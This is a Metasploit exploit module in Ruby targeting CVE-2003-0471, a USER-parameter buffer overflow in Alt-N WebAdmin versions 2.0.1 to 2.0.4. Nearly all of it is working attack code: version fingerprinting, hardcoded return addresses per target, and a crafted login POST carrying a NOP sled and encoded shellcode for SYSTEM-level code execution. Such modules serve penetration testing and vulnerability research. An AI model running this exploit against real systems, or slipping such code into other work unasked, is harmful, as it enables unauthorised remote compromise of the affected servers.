Alt-N WebAdmin USER Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Alt-N WebAdmin USER Buffer Overflow',
      'Description'    => %q{
        Alt-N WebAdmin is prone to a buffer overflow condition. This
        is due to insufficient bounds checking on the USER
        parameter. Successful exploitation could result in code
        execution with SYSTEM level privileges.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0471' ],
          [ 'OSVDB', '2207' ],
          [ 'BID', '8024'],
          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 830,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Automatic', {}],
          ['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
          ['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
          ['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
          ['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2003-06-24'))

      register_options([Opt::RPORT(1000)])
  end

  def exploit

    mytarget = target

    if (target.name =~ /Automatic/)
      res = send_request_raw({
        'uri'   => '/WebAdmin.DLL'
      }, -1)

      if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
        case $1
        when /2\.0\.4/
          mytarget = targets[1]
        when /2\.0\.3/
          mytarget = targets[2]
        when /2\.0\.2/
          mytarget = targets[3]
        when /2\.0\.1/
          mytarget = targets[4]
        else
          print_error("No target found for v#{$1}")
          return
        end
      else
        print_error("No target found")
      end
    end

    user_cook = rand_text_alphanumeric(2)
    post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
    post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

    print_status("Sending request...")
    res = send_request_cgi({
      'uri'          => '/WebAdmin.DLL',
      'query'        => 'View=Logon',
      'method'       => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'cookie'       => "User=#{user_cook}; Lang=en; Theme=standard",
      'data'         => post_data,
      'headers'      =>
      {
        'Accept'          => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
        'Accept-Language' => 'en',
        'Accept-Charset'  => 'iso-8859-1,*,utf-8'
      }
    }, 5)

    handler
  end
end